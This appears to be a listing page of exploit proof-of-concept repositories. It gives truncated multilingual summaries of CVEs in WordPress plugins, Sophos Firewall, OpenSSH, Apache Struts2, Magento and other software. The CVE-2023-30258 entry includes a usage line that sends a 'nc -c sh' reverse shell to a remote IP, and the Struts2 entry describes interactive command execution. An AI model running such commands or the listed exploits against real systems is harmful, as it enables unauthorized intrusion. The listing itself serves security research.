CVE-2024-10586

CVE-2024-10586 Debug Tool = 2.2 - Creación Arbitraria de Archivos sin Autenticación Descripción: El plugin Debug Tool para WordPress es vulnerable a la creación arbitraria de archivos debido a una falta de verificación de capacidades en la función dbtpullimage y a la falta de validación del tipo ...

CVE-2022-1040

CVE-2022-1040-sophos-rce-poc sophos rce poc script de omisión de autenticación y ejecución remota de código RCE todo en uno para el portal webmin de Sophos; La vulnerabilidad afecta a Sophos Firewall v18.5 MR3 18.5.3 y anteriores Mitigación: actualizar a la última versión lo antes posible...

POC-IngressNightmare-CVE-2025-1974

POC de IngressNightmare CVE-2025-1974 Desarrollado a partir de: https://github.com/yoshino-s/CVE-2025-1974 https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities Hablar es barato, solo mira el código. Los detalles se pueden encontrar en...

CVE-2023-30258-RCE-POC

CVE-2023-30258-RCE-POC CVE-2023-30258-RCE 的概念验证，作者：n0o0b 用法 usage: poc.py -h -u URL -c CMD example. python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help show this help message and exit -u URL, --url URL Target URL -c CMD, --cmd CMD Command to execut...

cve-2024-6387-poc

cve-2024-6387-poc OpenSSH服务器（sshd）中的一个信号处理程序竞态条件 7etsuo 描述 针对CVE-2024-6387的利用程序，瞄准基于glibc的Linux系统上OpenSSH服务器（sshd）中的一个信号处理程序竞态条件。由于SIGALRM处理程序调用了异步信号不安全函数，该漏洞允许以root身份远程执行代码。 利用详情 漏洞摘要 该利用程序针对OpenSSH的sshd中的SIGALRM处理程序竞态条件： 受影响版本 ：OpenSSH 8.5p1 至 9.8p1。 利用...

CVE-2025-32579

⚠️ CVE-2025-32579 - RCE crítico a través del plugin Sync Posts WordPress 📦 Afecta: Sync Posts 🧨 Puntuación CVSS: 9.9 CRÍTICA 📁 Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 🧠 Resumen de la vulnerabilidad El plugin Sync Posts de WordPress, creado por SoftClever Limited, es vulnerable a...

RCE-PoC-CVE-2021-25646

CVE-2021-25646 Prueba de Concepto Versión en Go Resumen Este repositorio contiene una prueba de concepto PoC para CVE-2021-25646, una vulnerabilidad crítica de ejecución remota de código en Apache Druid. El exploit está escrito en Go y permite la inyección de comandos de forma interactiva a travé...

Apache-Struts2-RCE-Exploit-v2-CVE-2017-5638

Modded-Apache-Struts2-RCE-Exploit-v2-CVE-2017-5638-AUTO-EXPLOITER...

CVE-2022-35914_poc

CVE-2022-35914poc 为GLPI Offsec实验室修改：calluserfunc, arraymap, passthru 参考 修改为适用于Proving Grounds实践实验室：GLPI https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr https://github.com/cosad3s/CVE-2022-35914-poc/blob/main/CVE-2022-35914.py...

CVE-2024-29050

CVE-2024-29050 CVE-2024-29050 是 Windows 加密服务中的一个安全漏洞，特别是在处理证书时的加密操作过程中。该问题源于整数溢出，当对文件大小或缓冲区长度等数据进行计算时，结果超出了变量允许的极限，导致系统错误计算或错误管理内存。 在这种情况下，加密函数错误处理了某些证书数据，导致内存管理不当。攻击者可以通过向系统提供特制的输入（例如，超大的证书或经过操作的数据字段）来利用此漏洞，使系统覆盖内存区域。这可能导致意外行为，例如系统崩溃，或者更严重的情况下，允许攻击者远程执行恶意代码。...

Telerik-UI-ASP.NET-AJAX-Exploitation

Telerik-UI-ASP.NET-AJAX-Exploitation Unrestricted File Upload by Weak Encryption affected versions CVE-2017-11317 2. Remote Code Execution by Insecure Deserialization - CVE-2019-18935...

CVE-2021-24884

CVE-2021-24884 Formidable 4.09.04中的XSS2RCE Formidable 4.09.04...

CVE-2022-2274

OpenSSL-src Heap Memory Corruption with RSA Private Key Operation : CVE-2022-2274 Summary OpenSSL-src-rust is a source code and logic to build OpenSSL from source written in rust and packaged as a crate. There are currently two maintained branches, matching the two maintained OpenSSL versions whi...

CVE-2026-77037

A flaw was found in multer, a Node.js middleware for handling multipart/form-data. A remote attacker can exploit a file descriptor leak by sending repeated aborted or malformed multipart uploads. This can exhaust system resources, leading to a denial of service DoS for the affected application...

CVE-2023-50780

CVE-2023-50780: Dangerous MBeans Accessible via Jolokia API in Apache ActiveMQ Artemis By listing and inspecting the MBeans exposed by the Jolokia API at http://127.0.0.1:8161/console/jolokia the following attack vectors have been identified: Arbitrary File Write using Log4J indirectly resulting ...

CVE-2022-3552

CVE-2022-3552 In order to exploit the vulnerability in BoxBlilling, the version will have to be: "BoxBilling=4.22.1.5" and you will have to have valid admin credentials. If you have the situation above, here are the steps you have to take in order to get the juicy RCE: Create a python virtual...

struts2-jakarta-inject

CVE-2017-5638 的 POC 漏洞利用 仅在你拥有或拥有明确测试权限的系统上使用此漏洞利用工具 安装 如果你的计算机上已经安装了 Go，那么使用 go get 是最简单的方法 go get github.com/Greynad/struts2-jakarta-inject 使用方法 单命令执行 struts2-jakarta-inject -u -c 'id' 伪交互式 Shell struts2-jakarta-inject -u -i...

CVE-2025-50472

CVE-2025-50472 ModelScope Ms-Swift ModelFileSystemCache 反序列化不可信数据导致远程代码执行漏洞 RCE PoC 我上传了一个包含恶意 .mdl 文件的代码仓库至 ModelScope 用于测试。测试时可以直接使用。链接为： https://www.modelscope.cn/models/HaoFan2024/ms-swift-test-fanhao/files 该 .mdl 文件嵌入了恶意代码，但 ModelScope 上未显示安全警告。 PoC 代码： 设置环境 pip install ms-swift==2.6.1 pip...

-CVE-2024-45352

🚨 CVE-2024-45352 – Ejecución Remota de Código RCE en Xiaomi Smarthome 📌 Resumen Se descubrió una vulnerabilidad crítica CVE-2024-45352 en la aplicación Xiaomi Smarthome, que permite la ejecución remota de código RCE sin autenticación mediante un manejo inadecuado de la entrada en el analizador de...

CVE-2022-24087

CVE-2022-24087-RCE and CVE-2022-24086-RCE CVE description CVE-2022-24086 and CVE-2022-24087 - improper Input Validation vulnerability in contact form Magento Open Source and Adobe Commerce - has received a CVSS score of 9.8 out of 10, it is classified as a pre-authentication issue which means tha...